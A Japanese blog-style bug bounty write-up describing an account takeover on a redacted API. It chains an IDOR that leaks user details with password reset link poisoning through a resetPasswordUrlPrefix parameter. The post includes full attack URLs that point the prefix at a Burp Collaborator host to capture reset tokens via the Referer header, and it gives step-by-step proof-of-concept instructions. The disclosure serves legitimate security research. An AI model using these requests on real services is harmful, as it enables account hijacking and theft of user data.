Hello there, ('ω')ノ
api.redacted.comでアカウントの乗っ取りを実現するために。
パスワードリセットリンクポイズニング、IDOR、および情報漏えいの連鎖を。
脆弱性:
HTTPヘッダインジェクション
記事:
影響力のある脆弱性についてターゲットWebアプリケーションを評価する際に。
実行するのに役立つチェックは、ウェイバックマシンを調べて。
時間の経過とともにターゲットに存在していたURLを発見することで。
これらは、バグをテストできる重要な機能を公開する可能性があって。
ユーザは、次のエンドポイントを介してアカウントのパスワードをリセットできて。
https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com
偵察をしている間、waybackurlsを使用して。
URLを見つけるプロセスを自動化するのが好きで。
https://github.com/tomnomnom/waybackurls
ツールの結果を検索すると、興味深いパラメータ(resetPasswordUrlPrefix)を含む。
パスワードリセットエンドポイントの代替バージョンが見つかって。
https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https%3A%2F%web.archive.org%2Fsave%2F_embed%2Fhttps%3A%2F%2Faccounts.redacted.com%2Fmember%2Freset-password
また、/v3/users/エンドポイントにはアクセス制御がなくて。
リクエスト内のメールアドレス、またはハンドルパラメータを変更するだけで。
他のユーザが所有する情報を取得できることも注目して。
(2つのパラメータは、交換可能で)
下記のようにAPIエンドポイントで。
user handle、email、ID、firstName、LastNameがリークしていて。
なので、resetPasswordUrlPrefixパラメータの使用法を。
理解しようとしているときにアイデアが思い浮かび。
アカウントのパスワードをリセットしているときに。
burpcollaboratorからペイロードを提供した場合はどうなるだろうかと。
https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password
これにより、burpcollaboratorクライアントでDNSとHTTPの相互作用が発生して。
パスワードリセットトークンがリファラヘッダでリークされたことが確認できて。
この情報は概念実証に十分だったので、レポートを作成することに。
次の手順で、概念実証を示すことに。
1.テスト目的でプログラムに2つのアカウントを登録して。
1つのアカウントにログインして。
2.影響を受けるエンドポイントにリクエストを送信して。
email、またはhandleパラメータを。
被害者のアカウントに属するものに置き換えて。
https://api.redacted.com/v3/users/resetToken?email=foobar@gmail.com&resetPasswordUrlPrefix=https://lvk9gh5vmzmaack1xdb3ekexyo4gs5.burpcollaborator.net/save/_embed/https://accounts.redacted.com/member/reset-password
3.被害者のアカウントは、攻撃者のドメインの前に付けられた。
パスワードリセットリンクを受け取って。
被害者のアカウントは、攻撃者が制御するドメインが埋め込まれた。
ポイズニングされたリンクを受け取って。
4.被害者がポイズニングされたリンクをクリックすると。
攻撃者は、リファラヘッダに表示されている被害者の。
パスワードリセットトークンを使用して
自分のドメインへのリクエストを受け取って。
5.攻撃者は、パスワードリセットリンクをWebブラウザにロードして。
被害者のアカウントに新しいパスワードを設定することで。
アカウントの乗っ取りが完了して。
Best regards, (^^ゞ